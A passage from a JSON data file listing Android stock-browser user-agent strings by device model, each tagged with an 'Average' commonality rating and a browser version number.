4.4.2; de-de; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID RAZR Build\\/9.8.2O-72_VZW-16-5) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-ca; GT-P5113 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; ALCATEL ONE TOUCH 4010A Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID BIONIC Build\\/9.8.2O-72_VZW-22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SCH-R530C Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; IdeaTab S6000-F Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; tr-tr; Discovery Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1; en-us; sdk Build\\/MR1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Prism II Build\\/HuaweiU8686) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SCH-L710 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I415 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; %lang_code%; GT-P5110 Build\\/JZO54K) adbeat.com\\/policy AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T779 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-S7562 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; SCH-R720 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710VMUB Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; MB886 Build\\/9.8.0Q-97_MB886_FFW-20) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; VS930 4G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-S7582 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI-M931 Build\\/HuaweiM931) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; he-il; SL728NC Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SM-G730A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; tr-tr; Vodafone Smart Tab 4 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30 SVN\\/040FTG1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; VS920 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SM-T310 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Lenovo-A398t+_TD\\/S100 Linux\\/3.4.5 Android\\/4.1.2 Release\\/09.10.2013 Browser\\/AppleWebKit534.30 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; GT-P5210 Build\\/KOT49H)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; BLU STUDIO 5.0 II Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; Nexus 4 Build\\/JOP24G) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P5100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; sv-se; U8510 Build\\/HuaweiU8510) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 CSOUTH-i500\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-ca; GT-P3113 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; HUAWEI-M920 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S7562 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; GT-P7500R Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; LG-LS980 Build\\/JDQ39B) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SM-T310 Build\\/KOT49H)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; VTAB1008 Build\\/HTK55) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; GT-S7560M Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-ca; SGH-I747M Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Xoom Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-us; SAMSUNG-SM-G530AZ Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9100T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; de-de; GT-I8190 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S6102 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I727 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LGL75C Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; sdk Build\\/MR1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Motorola Electrify Build\\/4.5.1A_SUN_USC_19.0) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-us; GT-P7510 Build\\/HMJ37) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5210 Build\\/JDQ39E) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; RCT6103W46 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us;) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 (Kobo Touch)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P3113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; SPH-P100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Trio Stealth_10 Build\\/JR003C.20130630) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; sdk Build\\/GRI34) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; SGH-T499 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; AT300 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; sdk Build\\/MR1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z998 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; KFTT Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-D710VMUB Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I317 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SM-T217A Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; A500 Build\\/HTK55D) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; nl-nl; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R740C Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; LG-LS696 Build\\/ZVF.GWK74) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Torque Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SM-G730A Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; Vox Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux;U;Android 4.0.3;en-us;Digitac Ultratab;C725 Build\\/ICS) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-G355H Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; es-us; GT-S5830L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; HTC_PH39100\\/3.26.502.56 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; de-de; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; M470BSA Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Next7P12 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T859 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; VM670 Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-gb; GT-S5830 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build\\/HRI66) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I497 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG870 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; FTABC Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build\\/9.8.2O-72_VZW-18-8) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; P771A Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-nz; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; ST23i Build\\/11.0.A.5.5) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; MILESTONE3 Build\\/5.5.1.1-84_D3G-25) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; GT-N8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; X500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I8200N Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-i705 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; K00F Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I717 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; de-de; GT-I8200N Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; 